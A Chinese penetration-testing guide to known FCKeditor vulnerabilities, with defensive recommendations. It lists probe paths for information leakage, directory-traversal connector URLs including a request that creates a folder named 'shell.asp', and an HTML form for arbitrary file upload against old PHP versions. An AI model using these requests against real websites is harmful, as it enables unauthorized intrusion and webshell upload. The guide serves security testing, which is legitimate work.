渗透测试 | 常见编辑器漏洞
字数 830 2025-08-20 18:17:31
FCKeditor富文本编辑器渗透测试指南
一、FCKeditor简介
FCKeditor是一个流行的开源富文本编辑器,提供类似Microsoft Word的Web页面编辑体验。主要特点包括:
- 跨平台支持
- 自定义编辑功能
- 多语言支持
- 源码编辑能力
- 强大的API接口
官方已于2010年2月15日停止更新,最新版本为2.6.6,现已被CKEditor取代。
二、FCKeditor常见漏洞
1. 信息泄露漏洞
版本信息泄露路径:
/FCKeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html
2. 默认上传页面
可检查以下默认上传页面是否存在:
/FCKeditor/editor/filemanager/browser/default/browser.html
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
3. 文件目录遍历漏洞
通过修改CurrentFolder参数可实现目录遍历:
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
使用../../可进入不同目录:
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=2F&NewFolderName=shell.asp
4. 任意文件上传漏洞(PHP版本2.4.2及以下)
FCKeditor 2.4.2 For PHP以下版本在处理上传时未对Media类型进行文件类型控制,导致可上传任意文件。
三、渗透测试方法
1. 信息收集
首先检查目标系统是否使用FCKeditor,可通过以下路径验证:
/FCKeditor/_samples/default.html
/FCKeditor/editor/fckeditor.html
/FCKeditor/editor/fckdialog.html
2. 版本识别
访问以下路径获取版本信息:
/FCKeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html
3. 文件上传测试
对于PHP版本2.4.2及以下,可构造HTML表单进行测试:
<form action="目标上传地址" method="post" enctype="multipart/form-data">
<input type="file" name="NewFile">
<input type="submit" value="Upload">
</form>
4. 目录遍历测试
尝试修改CurrentFolder参数进行目录遍历:
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../../
四、防御建议
- 升级版本:将FCKeditor升级到最新版本或迁移到CKEditor
- 删除测试页面:移除所有默认的测试和示例页面
- 文件上传限制:严格限制上传文件类型,特别是对于Media类型
- 目录权限控制:限制对文件管理器的访问权限
- 输入验证:对所有用户输入进行严格验证,防止路径遍历攻击
五、PHP集成示例
FCKeditor支持多种编程环境,以下是PHP集成示例:
include("fckeditor/fckeditor.php"); // 载入FCKeditor类文件
$oFCKeditor = new FCKeditor('FCKeditor1'); // 创建实例
$oFCKeditor->BasePath = './fckeditor/'; // 设置目录地址
$FCKeditor->Width = '100%'; // 设置宽度
$FCKeditor->Height = '300px'; // 设置高度
$oFCKeditor->Create(); // 创建编辑器
六、总结
FCKeditor虽然功能强大,但由于已停止更新且存在多个安全漏洞,建议在渗透测试中重点关注其版本信息、默认上传页面和目录遍历漏洞。对于仍在使用的系统,应及时采取安全措施防止被利用。